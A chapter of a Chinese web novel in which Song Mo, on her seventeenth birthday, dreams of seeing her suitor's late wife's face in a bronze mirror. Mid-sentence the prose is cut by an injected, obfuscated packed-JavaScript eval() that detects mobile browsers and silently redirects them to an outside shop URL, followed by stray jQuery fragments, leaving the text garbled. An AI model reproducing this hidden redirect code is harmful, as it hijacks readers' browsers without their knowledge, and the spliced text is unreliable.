33. 铜镜之中

作品:《与帝君断绝师徒关系后

    清晨,陵光睁开眼,晨光透过窗子投在地上,照出了一个圆亮的光斑。


    她盯着那亮圆,坐起身来,神识渐渐归位,想起来,今日是个特殊的日子。


    这几日的努力是否奏效,就要在今日见到分晓。


    简单收拾梳洗后,她出到院中,往东厢房望一眼,门仍然关着。像是还未起来。


    这几日,她与烛阴共处一院,两人相安无事,她渐渐不似以往那样戒备。


    收回目光,迈步向门口走去,行进间又捏起了隐身诀。她两步攀上树梢,看昨日放的那只鸟已不见了踪影,便知事情已成了大半。


    翻过宋府的院墙,一路进了正厅,厅内安静,宋荃正与宋茉坐在桌边用早饭。


    她晨起后以香草泡制的热水沐过浴,穿了一身浅紫色衣衫,发髻上那只银簪是周灵蓉昨夜为她准备好的新首饰。


    今日这个特殊的日子,正是宋茉的十七岁生辰。


    依照大晟朝的习俗,女儿十七岁本是成人的年纪,该阖家庆贺,只是宋府情况特殊,恰逢周砚恪回京要去祭其亡妻杨芸,生忌日相撞,宋荃以为不好大办,便只在晨起后到祠堂拜了祖先牌位,只在晚上设一家宴。


    周砚恪一早就去了墓地,宋茉的嫂子周灵蓉也陪着去了。


    此刻,只剩宋茉宋荃两人坐在桌前,宋荃一副神色不宁的样子,手里捏着一颗火候不对的白水蛋,连皮带肉剥得棘手。


    陵光看他呼出一口气,终于决心开口:“茉儿,你也要到年纪了,这往后是做文官还是做武官,你可有想法了?我记得,你小时候说过,想做个风光的女将军,现在是怎么想的?”


    “怎么忽然说起这个了?”宋茉咬了一口米糕,“那是小时候了,听嫂子说,哥小时候还说过自己想当皇帝。”


    “……”


    她舀起一勺米粥,悠悠补上一句,“都做不得数的。”


    “茉儿,”宋荃重整旗鼓,回到自己的思路上,“我知道你向来对人对事有自己的看法,往常这大小事情,哥哥也总让你自己拿主意,但此事关乎你的下半生,哥哥恐怕……”


    “哥哥想让我走哪条路?”


    宋荃没意料到话头这样快就递到了自己嘴边,一张口,话便溜了出来:“做个武官吧,茉儿,你听哥哥的。”


    这样的一句,未免过于笃定,宋茉却仍然喝着米粥,喝了一口抬起脸来问:“为什么?可是与你一早便跑出去有关?”


    陵光挑了挑眉毛,宋茉果真机灵。


    宋荃见她火眼金睛,微微一顿,舒了一口气:“哥哥不会撒谎,你自然轻易就看出来了,但此次真是迫在眉睫,否则我也不至于如此心急。”


    宋茉静静喝粥,听宋荃讲起这些天叫他茶饭不思的种种见闻。


    他先讲自己前些日子下值路上遇到的跛脚老道,抓着他絮叨了些关于宋茉的话。


    “他话说得实在凶险,你小时候,哥哥请观里的道长为你卜的每一次卦,都从未有过这样的说法。因此并不全然相信,可那天夜里,我竟梦见了那老道,他说自己是太上老君的化形,说在你生辰这日,在我府前的树上放一只灵鸟,叫我跟着它一路走,便知道分晓。”


    “今早我一早就去了,刚踏出门,就听见门口那槐树上有只杜鹃在啼,如今正是仲秋,哪里到它报春的时候?它见我来了,先落在我脚边,又扑棱着翅飞起来,我一路跟着,到了城门底下贴榜的地方……它飞到了榜前,揭下了角落里的一张帖子。”


    “那是一张收徒帖,说有名师收徒,专走将帅团练的,且不受束脩,只要先查了功骨,通过后递去拜师帖,合适者便可入门。”宋荃说着话,蛋也不剥了,就等着宋茉的下文。


    宋茉琢磨着,说:“太上老君,我记得,哥哥弄的庙坛上供着的那个,是他么?”


    被她这么一问,宋荃愣了愣,说:“是。”


    “我记得他是个地位极高的神仙。”


    “没错,老君为道家至高神三清之一,三清乃是——”宋荃的话一断,“哥哥知道你向来不信神鬼之说,可这次不是神仙显灵又是什么?”


    相比之下,宋茉冷静得出奇:“倒不是我不信神鬼,只是觉得奇怪,地位这样高的神仙,何故要来管我的生死呢。”


    宋荃张张嘴,不知该如何答这句。


    陵光记起来,几年前年方十三的宋茉便对宋荃说过一句:我并不信这世上有神鬼,即便是有,天下的人这样多,也未必管得着我们,与其求他们保佑,不如自己保佑自己。


    宋茉默了片刻,道:“哥容我几天想想,午饭我就在自己房里吃了,哥这几天辛苦,今日好容易休沐,好好歇歇。”


    宋荃听她没有断然拒绝,又如此关怀自己,实在已超乎了预期:“茉儿,委屈你了。”


    宋茉这样懂事,在今天这个日子里,让他更觉亏待。


    “哥,我吃好了,”宋茉将今日刚拿出来用的新漆箸架上箸枕,“我答应了哥说想想,就会好生想,哥哥是为了我好,不需因此为难。我先回房去,若嫂子他们回来,恐怕要到傍晚才能出来相见。”


    陵光跟着宋茉回了她的院子,整个上午她都捧着一本书册在看,中午晚月来送午饭,也没什么胃口。


    晚月将食盒从屋里递出来,又进去替宋茉铺床更衣。


    一阵衣料窸窣,晚月带了笑意开口:“小姐从未穿过这个颜色,衬得真白,往后可要多穿?”


    宋茉“嗯”了一声,又说:“嫂子回来时,你替我去前厅看看,若周砚恪也在,就回来叫我。”


    晚月:“小姐安心去睡吧,早上起得那样早,周大人一来我就叫小姐。”


    屋内没了人声,听那动静,是宋茉上了床榻,晚月替她放下床帐,从房内退出来。


    陵光静静听着,宋茉的呼吸很快就变得匀长。


    院中四下一片寂静,外面的街上,小贩的吆喝也消沉下去,远远传来几声狗吠。


    秋天的日头刚刚擦过正上方的天穹,陵光掐了掐时辰,差不多该是时候了。


    宋茉的呼吸已变得过于轻浅,陵光捏诀进去,她正躺在一床锦绣蚕丝薄被中间,阖目睡得安详。


    她伸出两只探向宋茉的鼻下,又捏起宋茉的手腕,探至腕下三寸。


    一分不差,宋茉的魂魄离体了。


    ##


    宋茉感到自己的身子十分轻盈。


    她睁开眼,低头,仍然是那一床在她生辰前新打的蚕丝薄被,她不大喜欢这个花样,但她向来不会扫周灵蓉的兴——比起亲哥哥,她跟这个嫂子聊得更来些。


    她看着周遭,知道自己此时正在做梦。


    既然在做梦——宋茉顺水推舟地想——何不去找找周砚恪呢?


    梦境果然是随心而化的,她刚冒出这个轻飘的念头,下一刻便站到了一间宅子门前。


    这间宅子不大,门楣看起来已很旧了,她走过去,檐下挂着一层落满灰尘的蛛网,也算是道门帘。


    她并不走进去,先向四周一望,随即便明白这是何处了。


    是周砚恪在京中的旧宅,也是他与他原配妻子杨芸的婚房。


    周砚恪在杨芸死后三年——也就是宋茉三岁时——主动请旨调离了京城,此后这间宅子便始终空置着,周砚恪每年回京,大概都要来这里坐一坐。


    今年自然也不例外,宋茉想。


    她知道周砚恪年年都来,可每年在这宅子里待的时间是越发少了,在她眼里却已将这定性成了例行的公事。


    至于他心中究竟还剩多少留恋的真情,她在心中掂量着,猜想恐怕已在十几年的光阴中消磨下去了,如今剩下的只是习惯,至多不过只是对年少风月的怀念,一丝温情而已。


    可这是她自己的梦,她毕竟不愿意梦见这个地方。


    她正想转身离开,随便去一个什么其它的地方,却被自己的双腿往宅子里带。


    她心下大骇,一路走进去,拐了两道弯,不知经过了多少条褪色、虫蛀的梁柱,来到一间面前。


    不知哪里来的想法,她知道此处是周砚恪曾经与杨芸二人的卧房。


    她不禁往后退了一步,想要离开,可她看着那扇虚掩着的门,鼻端忽然闻见一股鲜香,是从门里飘出来的,直勾她的胃口,她便被蛊惑着,伸手去推门。


    一步踏了进去,右手边有一梳妆台,是十多年前的老款式,上面被虫蛀得不轻,却能看出来雕刻得十分精致,新买回来时大概花了不少银子。


    上面放着一碗清汤馄饨,还冒着热气。


    霎那间,腹中涌起一阵强烈的空虚,顿时被抽去了所有思绪,唯有饥饿排山倒海地袭来。


    她捧起那碗馄饨,舀起一个吃下,脂腻香气在口中弥漫。


    不过片刻,她就将一碗馄饨吃了个干净。


    看着空空如也的青瓷碗,她惊了一惊:这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979083|191491||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是她家里的碗。


    她惶惑地转身,那边一面光洁如新的铜镜将她吸引,她向它走近,想看看自己在梦中的样子。


    仅仅一眼,她吓了一跳,几乎立刻就想退开去,双腿偏又仿佛在镜子前生了根,像是非叫她把镜中人看个分明不可。


    她想要闭上眼,却也是徒劳,便只能眼睁睁地看着铜镜中的那张面孔。


    那显然不是她自己的脸,实际上,她未曾真的见过这张脸。可是方才在目光触及的刹那间,她便认出了这张脸。


    杨芸。


    十年前或者五年前,宋茉曾在周砚恪那里见过她的遗像,只是匆匆的一眼,在这后来尝试的许多次回想中,她都没能让自己记起那张脸。那张即便被画师精细描摹却仍显寡淡的女性面庞,只在她脑海中模糊存在。


    可这次,她竟然几乎瞬间认了出来,活生生的杨芸。


    镜子里,惊恐不安的神情在那张脸上浮现,再也支撑不住,连连后退,直至碰到了身后的衣柜。


    “十七年了。”


    这话平白响起,惊魂未定之际,她身形一滞,眼风里看见一个人,就坐在那边的床榻上。


    她猛地转眼看过去,周砚恪,正在那张无褥无帐的光秃秃的架子床上,低头敛目地坐着。


    他正披着斗篷,像是刚从外面回来,而那张脸却与她昨日所见别无二致,虽然在她眼里仍然年轻,却显然是一张三十岁左右的男人的脸。


    这是她刚见过、抱过的周砚恪,为什么要让他出现在这样的梦中?


    “我回来了,”周砚恪温声说,“每年都为你煮一碗馄饨,却不知你能不能吃到。”


    宋茉的瞳孔骤然缩紧,她唇齿间尚存着那碗馄饨的脂香。


    周砚恪深深叹了一口气,他抬头望向床顶:“我的心很乱……”


    周砚恪会发现她的。


    若周砚恪看见了她——他看见的却会是杨芸!


    他见到阔别多年的妻子——会做出怎样的举动?


    仿佛要验证她的预感,周砚恪抚摸床架的手一滞,仿佛感觉到了什么似的,朝她这边转脸看过来。


    四目相对——他看见了她。


    可随即,周砚恪那双眸子与他背后的架子床一齐天旋地转,就像被谁拿一根棍子搅乱了。


    宋茉感到身子变得比刚才更轻,忽而仿佛腾飞而起,她感到自己像每年除夕放的窜天爆竹,瞬间便飞到了天上。


    在一片眩晕中,她感到身子开始下坠,坠了一会儿,刚感觉踩到了个实心的东西,便一下子醒了过来。


    宋茉在床榻上睁开眼,定定地看着床顶。


    房内一片寂静。


    她坐起身,望着半空,等待着这个梦如往常的许多个梦一样,被世间的晨光蒸发。


    忽而,她吸进一口气,那股馄饨的脂香,竟然又充斥了她的口鼻。


    喉咙一动,她剧烈地干呕起来。


    猛地,她掀开蚕丝被下了床,两步走到桌前,拎起茶托上的短嘴壶,往杯子里倒水。


    水在桌上洒出不少,宋茉也不顾,拿起杯子仰头喝下去,想要冲淡这让她作呕的味道。


    一杯喝完,又是一杯,她的眼眶红了,心里从没这样害怕过,梦里的一切,一幕一幕,跟刻在了她心里似的,清晰分明得过了头。


    她竟梦见自己吃下了周砚恪给杨芸的飨食。


    铜镜里的那张脸,周砚恪看她的那个眼神。


    阔别已久的所爱,失而复得的惊喜,多么深情,乃至痴迷,可那偏偏是他在看杨芸的眼神。


    那个眼神,现在仍然在她的脑海中盘桓不去。


    十七年了,他难道还念着杨芸么?


    若他还念着杨芸,那一封封信里,为何还要与自己虚与委蛇?


    她本以为,他的克制和守礼,是怕旁人的侧目与指摘。


    宋茉紧紧捏着杯子。


    倘若——


    倘若他其实对自己无意呢?倘若她曾经以为的那些欲言又止,背后其实是无话可说呢?


    终于,她将那青瓷小杯重重砸在桌上。


    一颗晶莹的浅褐色茶珠流到了她的下巴上,宋茉扬起手,干脆利落地将杯子往地上摔去。


    就在这时,屋门被从外面推进来,晚月踏进来,第一眼看见宋茉的怒容,第二眼扫向地上的碎瓷片。


    晚月犹豫一瞬,还是说:“小姐,周大人回来了。”